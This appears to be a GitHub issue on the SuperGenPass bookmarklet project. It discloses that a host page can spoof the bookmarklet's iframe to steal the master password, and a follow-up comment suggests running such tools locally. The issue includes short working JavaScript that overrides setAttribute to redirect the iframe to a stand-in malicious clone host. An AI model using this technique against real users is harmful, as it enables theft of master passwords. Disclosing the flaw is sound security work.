Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Master password entered via bookmarklet can be stolen by spoofing the iframe. #90

Open
aishikaty opened this issue Apr 15, 2018 · 1 comment

Comments

@aishikaty
Copy link

Here is a code that detects opening of SGP and replaces URL of the created iframe. I could than create a copy of SGP and add a script for sending the master password to my server. User wouldn't notice anything suspicious as they don't see the real iframe's URL.

var originalSetAttribute = Element.prototype.setAttribute
Element.prototype.setAttribute = function (name, value) {
  if (value == "https://chriszarate.github.io/supergenpass/mobile/") {
    this.onload = () => {
      this.setAttribute("src", "https://www.malicious-clone-of-sgp.com/supergenpass/mobile/")
      this.onload = null
    }
  }
  originalSetAttribute.call(this, name, value)
}
@jmichael2497
Copy link

jmichael2497 commented Feb 18, 2019

yet another reason to download these sorts of browser based tools and run them locally in their own separate window, as it is not that hard to copy and paste from one window to another.

already mentioned in #75 (comment)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants